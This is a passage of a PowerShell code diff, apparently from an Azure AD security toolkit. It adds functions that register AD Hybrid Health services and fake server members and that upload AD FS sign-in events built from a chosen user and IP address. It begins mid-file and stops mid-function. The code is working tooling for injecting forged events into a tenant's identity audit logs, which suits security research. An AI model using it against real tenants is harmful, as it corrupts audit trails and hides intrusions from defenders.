sEnabled":false}}}}
|
||||
policyIdentifier :
|
||||
tenantDefaultPolicy : 10
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
|
||||
|
||||
|
||||
# Call the API
|
||||
Call-GraphAPI -AccessToken $AccessToken -Command "policies" -Method Get
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,53 @@
|
||||
# This script contains utility functions for Graph API at https://graph.windows.net
|
||||
# Office 365 / Azure AD v2, a.k.a. AzureAD module uses this API
|
||||
|
||||
|
||||
|
||||
# Calls the provisioning SOAP API
|
||||
function Call-GraphAPI
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Command,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$ApiVersion="1.61-internal",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet('Put','Get','Post','Delete','Patch')]
|
||||
[String]$Method="Get",
|
||||
[Parameter(Mandatory=$False)]
|
||||
$Body,
|
||||
[Parameter(Mandatory=$False)]
|
||||
$Headers,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$QueryString
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Set the required variables
|
||||
$TenantID = (Read-Accesstoken $AccessToken).tid
|
||||
|
||||
if($Headers -eq $null)
|
||||
{
|
||||
$Headers=@{}
|
||||
}
|
||||
$Headers["Authorization"] = "Bearer $AccessToken"
|
||||
|
||||
# Call the API
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://graph.windows.net/$TenantId/$Command`?api-version=$ApiVersion$(if(![String]::IsNullOrEmpty($QueryString)){"&$QueryString"})" -ContentType "application/json; charset=utf-8" -Method $Method -Body $Body -Headers $Headers -ErrorAction SilentlyContinue
|
||||
|
||||
# Return
|
||||
if($response.value)
|
||||
{
|
||||
return $response.value
|
||||
}
|
||||
else
|
||||
{
|
||||
return $response
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,808 @@
|
||||
# Creates a new ADHybridHealthService
|
||||
# Jun 7th 2021
|
||||
function New-HybridHealthService
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Creates a new ADHybridHealthService
|
||||
|
||||
.DESCRIPTION
|
||||
Creates a new ADHybridHealthService
|
||||
|
||||
.Parameter AccessToken
|
||||
The access token used to create ADHybridHealthServices.
|
||||
|
||||
.Parameter Service
|
||||
Which kind of service to create. Can be one of: "AdFederationService","AadSyncService"
|
||||
Defaults to AdFederationService
|
||||
|
||||
.Parameter DisplayName
|
||||
Display name of the service. Usually host name of the AD FS service, like sts.company.com
|
||||
|
||||
.Parameter Signature
|
||||
The issuer uri of the AD FS service. Usually same as the display name, like sts.company.com
|
||||
|
||||
.Parameter Disabled
|
||||
Whether the service is disabled or not. Defaults to $False
|
||||
|
||||
.Parameter Health
|
||||
Health of the service. Can be one of: "Healthy","NotMonitored","Error"
|
||||
Defaults to "Healthy"
|
||||
|
||||
.Example
|
||||
New-AADIntHybridHealthService -Service AdFederationService -DisplayName sts.company.com -Signature sts.company.com
|
||||
|
||||
activeAlerts : 0
|
||||
additionalInformation :
|
||||
createdDate : 2021-05-05T07:13:45.0508805Z
|
||||
customNotificationEmails :
|
||||
disabled : False
|
||||
displayName : sts.company.com
|
||||
health : Healthy
|
||||
lastDisabled :
|
||||
lastUpdated : 0001-01-01T00:00:00
|
||||
monitoringConfigurationsComputed :
|
||||
monitoringConfigurationsCustomized :
|
||||
notificationEmailEnabled : True
|
||||
notificationEmailEnabledForGlobalAdmins : True
|
||||
notificationEmails :
|
||||
notificationEmailsEnabledForGlobalAdmins : False
|
||||
resolvedAlerts : 0
|
||||
serviceId : 50abc8f3-243a-4ac1-a3fb-712054d7334b
|
||||
serviceMembers :
|
||||
serviceName : AdFederationService-sts.company.com
|
||||
signature : sts.company.com
|
||||
simpleProperties :
|
||||
tenantId : 5b53828e-8e7b-42d1-a5f0-9b34bbd1844a
|
||||
type : AdFederationService
|
||||
originalDisabledState : False
|
||||
id : /providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts.company.com
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet("AdFederationService","AadSyncService")]
|
||||
[String]$Type = "AdFederationService",
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$DisplayName,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Signature
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
# Set the headers
|
||||
$headers=@{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
"x-ms-client-request-id" = (New-Guid).ToString()
|
||||
}
|
||||
|
||||
# Create the body
|
||||
$body = [ordered]@{
|
||||
"ActiveAlerts" = 0
|
||||
"AdditionalInformation" = $null
|
||||
"CreatedDate" = "0001-01-01T00:00:00"
|
||||
"CustomNotificationEmails" = $null
|
||||
"Disabled" = $False
|
||||
"DisplayName" = $DisplayName
|
||||
"Health" = "Healthy"
|
||||
"LastDisabled" = $null
|
||||
"LastUpdated" = "0001-01-01T00:00:00"
|
||||
"MonitoringConfigurationsComputed" = $null
|
||||
"MonitoringConfigurationsCustomized" = $null
|
||||
"NotificationEmailEnabled" = $null
|
||||
"NotificationEmailEnabledForGlobalAdmins" = $null
|
||||
"NotificationEmails" = $null
|
||||
"NotificationEmailsEnabledForGlobalAdmins" = $false
|
||||
"ResolvedAlerts" = 0
|
||||
"ServiceId" = $null
|
||||
"ServiceMembers" = $null
|
||||
"ServiceName" = $null
|
||||
"Signature" = $Signature
|
||||
"SimpleProperties" = $null
|
||||
"TenantId" = $null
|
||||
"Type" = $Type
|
||||
"OriginalDisabledState" = $false
|
||||
}
|
||||
|
||||
# Invoke the command
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://management.azure.com/providers/Microsoft.ADHybridHealthService/services?api-version=2014-01-01" -Headers $headers -Body ($body | ConvertTo-Json) -ContentType "application/json; charset=utf-8"
|
||||
|
||||
# Return the service object
|
||||
$response
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Lists ADHybridHealthServices
|
||||
# May 26th 2021
|
||||
function Get-HybridHealthServices
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets ADHybridHealthServices
|
||||
|
||||
.DESCRIPTION
|
||||
Gets ADHybridHealthServices
|
||||
|
||||
.Parameter AccessToken
|
||||
The access token used to get ADHybridHealthServices.
|
||||
|
||||
.Parameter Service
|
||||
Which kind of services to return.
|
||||
|
||||
.Example
|
||||
Get-AADIntHybridHealthServices -Service AdFederationService
|
||||
|
||||
activeAlerts : 3
|
||||
additionalInformation :
|
||||
createdDate : 2021-05-05T07:13:45.0508805Z
|
||||
customNotificationEmails :
|
||||
disabled : False
|
||||
displayName : sts.company.com
|
||||
health : Error
|
||||
lastDisabled :
|
||||
lastUpdated : 2021-05-06T06:04:20.6537234Z
|
||||
monitoringConfigurationsComputed :
|
||||
monitoringConfigurationsCustomized :
|
||||
notificationEmailEnabled : True
|
||||
notificationEmailEnabledForGlobalAdmins : True
|
||||
notificationEmails :
|
||||
notificationEmailsEnabledForGlobalAdmins : False
|
||||
resolvedAlerts : 1
|
||||
serviceId : 50abc8f3-243a-4ac1-a3fb-712054d7334b
|
||||
serviceMembers :
|
||||
serviceName : AdFederationService-sts.company.com
|
||||
signature : sts.company.com
|
||||
simpleProperties :
|
||||
tenantId : 5b53828e-8e7b-42d1-a5f0-9b34bbd1844a
|
||||
type : AdFederationService
|
||||
originalDisabledState : False
|
||||
id : /providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts.company.com
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntHybridHealthServices -Service AdFederationService | ft serviceName
|
||||
|
||||
serviceName
|
||||
-----------
|
||||
AdFederationService-sts.company.com
|
||||
AdFederationService-sts.contoso.com
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet("AdFederationService","AadSyncService")]
|
||||
[String]$Service="AdFederationService"
|
||||
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
# Set the headers
|
||||
$headers=@{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
}
|
||||
|
||||
$url="https://management.azure.com/providers/Microsoft.ADHybridHealthService/services?api-version=2014-01-01"
|
||||
if($Service)
|
||||
{
|
||||
$url += "&serviceType=$Service"
|
||||
}
|
||||
|
||||
# Invoke the command
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri $url -Headers $headers
|
||||
|
||||
# Return services
|
||||
$response.value
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Removes the ADHybridHealthService
|
||||
# Jun 7th 2021
|
||||
function Remove-HybridHealthService
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Removes existing ADHybridHealthService
|
||||
|
||||
.DESCRIPTION
|
||||
Removes existing ADHybridHealthService
|
||||
|
||||
.Parameter AccessToken
|
||||
The access token used to get ADHybridHealthServices.
|
||||
|
||||
.Parameter ServiceName
|
||||
Name of the service to be removed
|
||||
|
||||
.Example
|
||||
Remove-AADIntHybridHealthService -ServiceName AdFederationService-sts.company.com
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$ServiceName
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
# Set the headers
|
||||
$headers=@{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
"x-ms-client-request-id" = (New-Guid).ToString()
|
||||
}
|
||||
|
||||
# Invoke the command
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Method Delete -Uri "https://management.azure.com/providers/Microsoft.ADHybridHealthService/services/$ServiceName`?api-version=2014-01-01" -Headers $headers
|
||||
|
||||
# Return the service object
|
||||
$response
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Get ADHybridHealthService members
|
||||
# Jun 7th 2021
|
||||
function Get-HybridHealthServiceMembers
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets ADHybridHealthService members
|
||||
|
||||
.DESCRIPTION
|
||||
Gets ADHybridHealthService members
|
||||
|
||||
.Parameter AccessToken
|
||||
The access token used to get ADHybridHealthService members.
|
||||
|
||||
.Parameter ServiceName
|
||||
Name of the ADHybridHealthService
|
||||
|
||||
.Example
|
||||
Get-AADIntHybridHealthServiceMembers -ServiceName "AdFederationService-sts.company.com"
|
||||
|
||||
lastReboot : 2021-03-16T08:17:19.0912Z
|
||||
lastDisabled :
|
||||
lastUpdated : 2021-06-07T11:36:34.6667535Z
|
||||
activeAlerts : 1
|
||||
resolvedAlerts : 1
|
||||
createdDate : 0001-01-01T00:00:00
|
||||
disabled : False
|
||||
dimensions :
|
||||
additionalInformation :
|
||||
tenantId : 5b53828e-8e7b-42d1-a5f0-9b34bbd1844a
|
||||
serviceId : 50abc8f3-243a-4ac1-a3fb-712054d7334b
|
||||
serviceMemberId : bec07a23-dd4a-4c80-8c92-9b9dc089f75c
|
||||
machineId : 0cf2774f-a188-4bd3-b4b3-3a690374325d
|
||||
machineName : SERVER
|
||||
role : AdfsServer_2016
|
||||
status : Warning
|
||||
properties :
|
||||
installedQfes :
|
||||
recommendedQfes :
|
||||
monitoringConfigurationsComputed :
|
||||
monitoringConfigurationsCustomized :
|
||||
osVersion : 10.0.17763.0
|
||||
osName : Microsoft Windows Server 2019 Standard
|
||||
disabledReason : 0
|
||||
serverReportedMonitoringLevel :
|
||||
lastServerReportedMonitoringLevelChange :
|
||||
|
||||
lastReboot : 0001-01-01T00:00:00
|
||||
lastDisabled :
|
||||
lastUpdated : 0001-01-01T00:00:00
|
||||
activeAlerts : 0
|
||||
resolvedAlerts : 0
|
||||
createdDate : 0001-01-01T00:00:00
|
||||
disabled : False
|
||||
dimensions :
|
||||
additionalInformation :
|
||||
tenantId : 5b53828e-8e7b-42d1-a5f0-9b34bbd1844a
|
||||
serviceId : 50abc8f3-243a-4ac1-a3fb-712054d7334b
|
||||
serviceMemberId : e4d72022-a268-4167-a964-1899b8baeaa5
|
||||
machineId : f5e349d6-67fd-4f11-b489-d98980aa6cab
|
||||
machineName : PROXY
|
||||
role : AdfsProxy_21
|
||||
status : Healthy
|
||||
properties :
|
||||
installedQfes :
|
||||
recommendedQfes :
|
||||
monitoringConfigurationsComputed :
|
||||
monitoringConfigurationsCustomized :
|
||||
osVersion :
|
||||
osName :
|
||||
disabledReason : 0
|
||||
serverReportedMonitoringLevel :
|
||||
lastServerReportedMonitoringLevelChange :
|
||||
|
||||
.Example
|
||||
Get-AADIntHybridHealthServiceMembers -ServiceName "AdFederationService-sts.company.com" | ft machineName,serviceMemberId
|
||||
|
||||
machineName serviceMemberId
|
||||
----------- ---------------
|
||||
SERVER bec07a23-dd4a-4c80-8c92-9b9dc089f75c
|
||||
PROXY e4d72022-a268-4167-a964-1899b8baeaa5
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$ServiceName
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
# Set the headers
|
||||
$headers=@{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
"x-ms-client-request-id" = (New-Guid).ToString()
|
||||
}
|
||||
|
||||
# Invoke the command
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://management.azure.com/providers/Microsoft.ADHybridHealthService/services/$ServiceName/servicemembers?api-version=2014-01-01" -Headers $headers -Body ($Body | ConvertTo-Json) -ContentType "application/json; charset=utf-8"
|
||||
|
||||
# Return the service members
|
||||
$response.value
|
||||
}
|
||||
}
|
||||
|
||||
# Create a new ADHybridHealthService members
|
||||
# May 26th 2021
|
||||
function New-HybridHealthServiceMember
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Adds a new ADHybridHealthService member
|
||||
|
||||
.DESCRIPTION
|
||||
Adds a new ADHybridHealthService member
|
||||
|
||||
.Parameter AccessToken
|
||||
The access token used to get ADHybridHealthService members.
|
||||
|
||||
.Parameter ServiceName
|
||||
Name of the ADHybridHealthService
|
||||
|
||||
.Example
|
||||
New-AADIntHybridHealthServiceMember -ServiceName AdFederationService-sts.company.com -MachineName "MyServer"
|
||||
|
||||
lastReboot : 0001-01-01T00:00:00Z
|
||||
lastDisabled :
|
||||
lastUpdated : 0001-01-01T00:00:00
|
||||
activeAlerts : 0
|
||||
resolvedAlerts : 0
|
||||
createdDate : 2021-05-06T07:15:50.0087136Z
|
||||
disabled : False
|
||||
dimensions :
|
||||
additionalInformation :
|
||||
tenantId : 5b53828e-8e7b-42d1-a5f0-9b34bbd1844a
|
||||
serviceId : 50abc8f3-243a-4ac1-a3fb-712054d7334b
|
||||
serviceMemberId : 0fce7ce0-81a0-4bf7-87fb-fc787dfe13c2
|
||||
machineId : e9f8357d-8a25-4cef-8c6b-f0b3c916ead5
|
||||
machineName : MyServer
|
||||
role :
|
||||
status : Healthy
|
||||
properties :
|
||||
installedQfes :
|
||||
recommendedQfes :
|
||||
monitoringConfigurationsComputed :
|
||||
monitoringConfigurationsCustomized :
|
||||
osVersion :
|
||||
osName :
|
||||
disabledReason : 0
|
||||
serverReportedMonitoringLevel :
|
||||
lastServerReportedMonitoringLevelChange :
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$ServiceName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[guid]$MachineId=(New-Guid),
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$MachineName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet("AdfsServer_2x","AdfsProxy_2x","AdfsServer_21","AdfsProxy_21","AdfsServer_30","AdfsProxy_30","AdfsServer_2016","AdfsProxy_2016")]
|
||||
[String]$MachineRole="AdfsServer_2016"
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
# Set the headers
|
||||
$headers=@{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
"x-ms-client-request-id" = (New-Guid).ToString()
|
||||
}
|
||||
|
||||
# Create the body
|
||||
$body= [ordered]@{
|
||||
"LastReboot" = "0001-01-01T00:00:00"
|
||||
"LastDisabled" = "0001-01-01T00:00:00"
|
||||
"LastUpdated" = "0001-01-01T00:00:00"
|
||||
"ActiveAlerts" = 0
|
||||
"ResolvedAlerts" = 0
|
||||
"CreatedDate" = "0001-01-01T00:00:00"
|
||||
"Disabled" = $False
|
||||
"Dimensions" = $null
|
||||
"AdditionalInformation" = $null
|
||||
"TenantId" = "00000000-0000-0000-0000-000000000000"
|
||||
"ServiceId" = "00000000-0000-0000-0000-000000000000"
|
||||
"ServiceMemberId" = "00000000-0000-0000-0000-000000000000"
|
||||
"MachineId" = $MachineId.ToString()
|
||||
"MachineName" = $MachineName
|
||||
"Role" = $MachineRole
|
||||
"Status" = $Status
|
||||
"Properties" = $Null
|
||||
"InstalledQfes" = $Null
|
||||
"RecommendedQfes" = $Null
|
||||
"MonitoringConfigurationsComputed" = $Null
|
||||
"MonitoringConfigurationsCustomized" = $Null
|
||||
"OsVersion" = $Null
|
||||
"OsName" = $Null
|
||||
"DisabledReason" = 0
|
||||
"ServerReportedMonitoringLevel" = $Null
|
||||
"LastServerReportedMonitoringLevelChange"= "0001-01-01T00:00:00"
|
||||
}
|
||||
|
||||
# Invoke the command
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://management.azure.com/providers/Microsoft.ADHybridHealthService/services/$ServiceName/servicemembers?api-version=2014-01-01" -Headers $headers -Body ($Body | ConvertTo-Json) -ContentType "application/json; charset=utf-8"
|
||||
|
||||
# Return the service object
|
||||
$response
|
||||
}
|
||||
}
|
||||
|
||||
# Remove ADHybridHealthService members
|
||||
# Jun 14th 2021
|
||||
function Remove-HybridHealthServiceMember
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Removes ADHybridHealthService member
|
||||
|
||||
.DESCRIPTION
|
||||
Removes ADHybridHealthService member
|
||||
|
||||
.Parameter AccessToken
|
||||
The access token used to get ADHybridHealthService members.
|
||||
|
||||
.Parameter ServiceName
|
||||
Name of the ADHybridHealthService
|
||||
|
||||
.Parameter ServiceMemberId
|
||||
Id of the ADHybridHealthService member to be removed
|
||||
|
||||
.Example
|
||||
Remove-AADIntHybridHealthServiceMember -ServiceName AdFederationService-sts.company.com -ServiceMemberId 329485ce-9b5b-4652-ba72-acc41a455e92
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$ServiceName,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[guid]$ServiceMemberId
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
# Set the headers
|
||||
$headers=@{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
"x-ms-client-request-id" = (New-Guid).ToString()
|
||||
}
|
||||
|
||||
# Invoke the command
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Method Delete -Uri "https://management.azure.com/providers/Microsoft.ADHybridHealthService/services/$ServiceName/servicemembers/$ServiceMemberId`?confirm=false&api-version=2014-01-01" -Headers $headers
|
||||
|
||||
# Return the service object
|
||||
$response
|
||||
}
|
||||
}
|
||||
|
||||
# Gets ADHybridHealthService monitoring policies
|
||||
# May 29th 2021
|
||||
function Get-HybridHealthServiceMonitoringPolicies
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets ADHybridHealthService monitoring policies.
|
||||
|
||||
.DESCRIPTION
|
||||
Gets ADHybridHealthService monitoring policies.
|
||||
|
||||
.Parameter AccessToken
|
||||
The access token used to get ADHybridHealthService monitoring policies
|
||||
|
||||
.Example
|
||||
Get-AADIntHybridHealthServiceMonitoringPolicies -AccessToken $at
|
||||
|
||||
serviceType : AdFederationService
|
||||
serviceId : 74b6a260-67a3-43ac-922f-ec7afe19649c
|
||||
serviceMemberId : 52f7c09f-e6a4-41ff-b328-bb6a182e1aca
|
||||
monitoringConfigurations : {@{key=AadPremium; value=True}, @{key=MonitoringLevel; value=Full}}
|
||||
propertiesExtractorClassName : Microsoft.Identity.Health.Adfs.DataAccess.DataManager, Microsoft.Identity.Health.Adfs.DataAccess
|
||||
dimensionTableEntityClassNameList :
|
||||
roleType : AdfsServer_2016
|
||||
moduleConfigurations : {@{agentService=ConnectorAgent; moduleName=adfs; properties=}, @{agentService=ConnectorAgent; moduleName=PowerShellCmdletMonitor; properties=}}
|
||||
|
||||
serviceType : AadSyncService
|
||||
serviceId : 4ce7a4dd-0269-4ae1-a92c-88f381f11a33
|
||||
serviceMemberId : fa657e9b-b609-470c-aa6a-9922d9f37e49
|
||||
monitoringConfigurations : {@{key=MonitoringLevel; value=Off}, @{key=StagingMode; value=False}, @{key=ConfigurationUploadInterval; value=240},
|
||||
@{key=RunProfileResultUploadInterval; value=30}...}
|
||||
propertiesExtractorClassName : Microsoft.Identity.Health.AadSync.DataAccess.DataManager, Microsoft.Identity.Health.AadSync.DataAccess
|
||||
dimensionTableEntityClassNameList :
|
||||
roleType : AadSync_AadConnectSync_1.0
|
||||
moduleConfigurations : {@{agentService=ConnectorAgent; moduleName=aadsync; properties=}}
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
$headers = @{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
"x-ms-client-request-id" = (New-Guid).ToString()
|
||||
}
|
||||
|
||||
# Invoke the command
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://s1.adhybridhealth.azure.com/providers/Microsoft.ADHybridHealthService/monitoringpolicies" -Headers $headers
|
||||
|
||||
# Return upload key
|
||||
$response
|
||||
}
|
||||
}
|
||||
|
||||
# Send the ADHybridHealthService events to Azure
|
||||
# May 26th 2021
|
||||
function Send-HybridHealthServiceEvents
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Sends the given AD FS audit events to Azure.
|
||||
|
||||
.DESCRIPTION
|
||||
Sends the given AD FS audit events to Azure using ADHybridHealthService protocols.
|
||||
|
||||
.Parameter TenantId
|
||||
Tenant ID
|
||||
|
||||
.Parameter ServiceID
|
||||
ServiceID
|
||||
|
||||
.Parameter MachineId
|
||||
Machine ID of the computer running the ADHybridHealthService.
|
||||
|
||||
.Parameter Events
|
||||
An array of event objects.
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntHybridHealthServiceMembers -ServiceName "AdFederationService-sts.company.com" | ft machineId,serviceId,tenantId
|
||||
|
||||
machineName machineId serviceId tenantId
|
||||
----------- --------- --------- --------
|
||||
SERVER 0cf2774f-a188-4bd3-b4b3-3a690374325d a0fae99d-083e-451c-9965-cc7a5851e4a8 b00133a8-b4e1-4c69-91d1-c0945e3e83c4
|
||||
PROXY f5e349d6-67fd-4f11-b489-d98980aa6cab a0fae99d-083e-451c-9965-cc7a5851e4a8 b00133a8-b4e1-4c69-91d1-c0945e3e83c4
|
||||
|
||||
PS C:\>$agentKey = Get-Content "b00133a8-b4e1-4c69-91d1-c0945e3e83c4_f5e349d6-67fd-4f11-b489-d98980aa6cab_SERVER.txt"
|
||||
PS C:\>$events = @()
|
||||
PS C:\>$events += (New-AADIntHybridHealtServiceEvent -Server "Server" -UPN "user@company.com" -IPAddress "192.168.0.2")
|
||||
|
||||
PS C:\>Send-AADIntHybridHealthServiceEvents -AgentKey $agentKey -TenantId "b00133a8-b4e1-4c69-91d1-c0945e3e83c4" -MachineId "f5e349d6-67fd-4f11-b489-d98980aa6cab" -ServiceId "a0fae99d-083e-451c-9965-cc7a5851e4a8" -Events $events
|
||||
|
||||
.Example
|
||||
PS C:\>$events = @()
|
||||
PS C:\>$events += (New-AADIntHybridHealtServiceEvent -Server "Server" -UPN "user@company.com" -IPAddress "192.168.0.2")
|
||||
PS C:\>$agentInfo = Get-AADIntHybridHealthServiceAgentInfo
|
||||
PS C:\>Send-AADIntHybridHealthServiceEvents -AgentInfo $agentInfo -Events $events
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(ParameterSetName='Normal' ,Mandatory=$True)]
|
||||
[String]$AgentKey,
|
||||
[Parameter(ParameterSetName='Normal' ,Mandatory=$True)]
|
||||
[guid]$MachineId,
|
||||
[Parameter(ParameterSetName='Normal' ,Mandatory=$True)]
|
||||
[guid]$TenantId,
|
||||
[Parameter(ParameterSetName='Normal' ,Mandatory=$True)]
|
||||
[guid]$ServiceId,
|
||||
[Parameter(ParameterSetName='Normal' ,Mandatory=$True)]
|
||||
[Parameter(ParameterSetName='AgentInfo',Mandatory=$True)]
|
||||
[System.Array]$Events,
|
||||
[Parameter(ParameterSetName='AgentInfo',Mandatory=$True)]
|
||||
[psobject]$AgentInfo
|
||||
)
|
||||
Process
|
||||
{
|
||||
if($AgentInfo)
|
||||
{
|
||||
$AgentKey = $AgentInfo.AgentKey
|
||||
$TenantId = $AgentInfo.TenantId
|
||||
$MachineId = $AgentInfo.MachineId
|
||||
$ServiceId = $AgentInfo.ServiceId
|
||||
}
|
||||
|
||||
# Get the service access token and the needed keys
|
||||
$serviceAccessToken = Get-HybridHealthServiceAccessToken -AgentKey $AgentKey -MachineId $MachineId -TenantId $TenantId
|
||||
$BlobKey = Get-HybridHealthServiceBlobUploadKey -AccessToken $serviceAccessToken -ServiceId $ServiceId
|
||||
$EventPublisherKey = Get-HybridHealthServiceEventHubPublisherKey -AccessToken $serviceAccessToken -ServiceId $ServiceId
|
||||
|
||||
# Convert the events to json and compress
|
||||
$content = ConvertTo-Json -InputObject $Events
|
||||
$encContent = Get-CompressedByteArray -byteArray ([text.encoding]::UTF8.GetBytes($content))
|
||||
|
||||
# Calculate MD5 for the compressed content
|
||||
$md5 = [System.Security.Cryptography.MD5]::Create()
|
||||
$bodyMD5 = $md5.ComputeHash($encContent)
|
||||
|
||||
# Construct headers for uploading the blob
|
||||
$id = (New-Guid).ToString()
|
||||
$headers = @{
|
||||
"User-Agent" = "Azure-Storage/8.2.0 (.NET CLR 4.0.30319.42000; Win32NT 10.0.17763.0)"
|
||||
"x-ms-version" = "2017-04-17"
|
||||
"Content-MD5" = Convert-ByteArrayToB64 -Bytes $bodyMD5
|
||||
"x-ms-blob-type" = "BlockBlob"
|
||||
"x-ms-client-request-id" = $id
|
||||
}
|
||||
|
||||
# Construct the url
|
||||
$BlobUrl = $BlobKey.Replace("?","/$($id).json?")
|
||||
$BlobUrl += "&api-version=2017-04-17"
|
||||
|
||||
# Send the blob to Azure
|
||||
try
|
||||
{
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Method Put -Uri $BlobUrl -Headers $headers -Body ([byte[]]$encContent)
|
||||
}
|
||||
catch
|
||||
{
|
||||
return
|
||||
}
|
||||
|
||||
#
|
||||
# Create the HMAC signature for the servicebus message (this is funny)
|
||||
#
|
||||
|
||||
# First, an SHA512 hash is calculated from the AgentKey.
|
||||
# Agent key is a B64 string of the binary key, but the hash is calculated from the string.
|
||||
# The hash is converted to hex string.
|
||||
[System.Security.Cryptography.SHA512] $sha = [System.Security.Cryptography.SHA512]::Create()
|
||||
$bKey = Convert-ByteArrayToHex -Bytes $sha.ComputeHash([text.encoding]::ASCII.getBytes($AgentKey))
|
||||
|
||||
# Second, the signing key is derived by calculating HMACSHA512 by converting the hex array to binary by decoding it as B64 ???!?
|
||||
$cKey = Convert-B64ToByteArray -B64 $bKey.ToUpper()
|
||||
